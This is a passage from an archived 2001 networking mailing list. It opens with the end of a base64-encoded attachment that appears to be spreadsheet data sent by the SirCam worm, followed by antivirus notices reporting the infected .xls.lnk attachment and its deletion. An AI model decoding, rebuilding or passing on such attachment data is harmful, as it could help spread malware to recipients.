AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/v8AAAQKAgAAAAAAAAAAAAAA
AAAAAAAAAQAAAALVzdWcLhsQk5cIACss+a4wAAAA8AAAAAkAAAABAAAAUAAAAA8AAABYAAAA
FwAAAGgAAAALAAAAcAAAABAAAAB4AAAAEwAAAIAAAAAWAAAAiAAAAA0AAACQAAAADAAAAM8A
AAACAAAAtQMAAB4AAAAHAAAAcmFvbmV0AGgDAAAA7Q4JAAsAAAAAAAAACwAAAAAAAAALAAAA
AAAAAAsAAAAAAAAAHhAAAAMAAAAUAAAAwdbB1rjtus5fMjAwMLPiMTG/+QAQAAAAwdbB1rjt
us5fvcWw7b/rAAcAAABTaGVldDMADBAAAAIAAAAeAAAACQAAAL/2xam9w8auAAMAAAADAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAACAAAAAwAAAAQAAAAFAAAABgAAAAcA
AAAIAAAACQAAAAoAAAALAAAADAAAAA0AAAAOAAAADwAAABAAAAARAAAAEgAAABMAAAAUAAAA
FQAAABYAAAAXAAAAGAAAABkAAAAaAAAAGwAAABwAAAAdAAAAHgAAAB8AAAAgAAAAIQAAACIA
AAAjAAAAJAAAACUAAAD+////JwAAACgAAAApAAAAKgAAACsAAAAsAAAALQAAAP7///8vAAAA
MAAAADEAAAAyAAAAMwAAADQAAAA1AAAA/v////3////+////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
UgBvAG8AdAAgAEUAbgB0AHIAeQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAABYABQH//////////wIAAAAgCAIAAAAAAMAAAAAAAABGAAAAAAAAAAAAAAAA
QKVeEDSwwAH+////AAAAAAAAAABXAG8AcgBrAGIAbwBvAGsAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgACAf///////////////wAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACZSgAAAAAAAAUAUwB1AG0AbQBhAHIA
eQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoAAIB
AQAAAAMAAAD/////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJgAAAAAQ
AAAAAAAABQBEAG8AYwB1AG0AZQBuAHQAUwB1AG0AbQBhAHIAeQBJAG4AZgBvAHIAbQBhAHQA
aQBvAG4AAAAAAAAAAAAAADgAAgH///////////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAuAAAAABAAAAAAAAA==

------5AC84829_Outlook_Express_message_boundary

------5AC84829_Outlook_Express_message_boundary--


From owner-mpls@UU.NET  Mon Oct  8 02:18:33 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA12231
	for <mpls-archive@lists.ietf.org>; Mon, 8 Oct 2001 02:18:33 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljuv05664;
	Mon, 8 Oct 2001 06:18:25 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljuv28858
	for mpls-outgoing; Mon, 8 Oct 2001 06:17:49 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQljuv28802
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 8 Oct 2001 06:17:39 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQljuv23526
	for <mpls@uu.net>; Mon, 8 Oct 2001 06:17:08 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQljuv03597
	for <mpls@uu.net>; Mon, 8 Oct 2001 06:17:20 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id CAA22100 for <mpls@uu.net>; Mon, 8 Oct 2001 02:17:06 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id CAA28912 for mpls@uu.net; Mon, 8 Oct 2001 02:17:06 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQljuv28386
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 8 Oct 2001 06:15:58 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQljuv20133
	for <mpls@UU.NET>; Mon, 8 Oct 2001 06:15:48 GMT
Received: from viva1.vivacenetworks.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [64.221.212.135])
	id QQljuv26321
	for <mpls@UU.NET>; Mon, 8 Oct 2001 06:16:01 GMT
Received: by viva1.vivacenetworks.com with Internet Mail Service (5.5.2653.19)
	id <42MTF49T>; Sun, 7 Oct 2001 23:15:44 -0700
Message-ID: <B7E68CA26CF93846B74B9305EE908AE602E1CD@viva1.vivacenetworks.com>
From: System Attendant <VIVA1-SA@vivacenetworks.com>
To: "'mpls@UU.NET'" <mpls@UU.NET>
Subject: ScanMail Message: To Recipient virus found and action taken.
Date: Sun, 7 Oct 2001 23:15:42 -0700 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id CAA12231

ScanMail for Microsoft Exchange has detected virus-infected attachment(s).

Sender = ÀÜ¿ìÁ÷(Woojik Chun)
Recipient(s) = mpls@UU.NET
Subject = ÁÖÁÖ¸íºÎ(¿¹Á¤)
Scanning Time = 10/07/2001 23:15:41

Action on virus found:
The attachment ÁÖÁÖ¸íºÎ(¿¹Á¤).xls.lnk exists TROJ_SIRCAM.A virus. ScanMail
has Deleted it. 

Warning to recipient. ScanMail has detected a virus.



From owner-mpls@UU.NET  Mon Oct  8 02:20:40 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA12403
	for <mpls-archive@lists.ietf.org>; Mon, 8 Oct 2001 02:20:40 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljuv19597;
	Mon, 8 Oct 2001 06:20:16 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljuv29497
	for mpls-outgoing; Mon, 8 Oct 2001 06:19:44 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQljuv29469
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 8 Oct 2001 06:19:42 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQljuv03987
	for <mpls@uu.net>; Mon, 8 Oct 2001 06:19:22 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQljuv08126
	for <mpls@uu.net>; Mon, 8 Oct 2001 06:19:35 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id CAA22180 for <mpls@uu.net>; Mon, 8 Oct 2001 02:19:22 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id CAA00211 for mpls@uu.net; Mon, 8 Oct 2001 02:19:22 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQljuv29014
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 8 Oct 2001 06:18:23 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQljuv27368
	for <mpls@UU.NET>; Mon, 8 Oct 2001 06:17:59 GMT
From: MHDHUB02@marconi.com
Received: from notes.marconicommsna.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [208.43.60.106])
	id QQljuv01228
	for <mpls@UU.NET>; Mon, 8 Oct 2001 06:18:13 GMT
X-Priority: 3 (Normal)
Date: Mon, 8 Oct 2001 02:21:55 -0400
Subject: Report to Recipient(s)
To: mpls@UU.NET
Message-ID: <OF93BC1B8E.3FCF43EB-ON85256ADF.0022F777@marconicommsna.com>
X-MIMETrack: Serialize by Router on MHDGWY02/S/EXT/MC1(Release 5.0.8 |June 18, 2001) at
 10/08/2001 02:10:59 AM
MIME-Version: 1.0
Content-type: text/plain; charset=iso-8859-1
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id CAA12403

Incident Information:-

Originator:    owner-mpls@UU.NET
Recipients:    mpls@UU.NET
Subject:  ÁÖÁÖ¸íºÎ(¿¹Á¤)

WARNING:  The file ÁÖÁÖ¸íºÎ(¿¹Á¤).xls.lnk you received was infected with
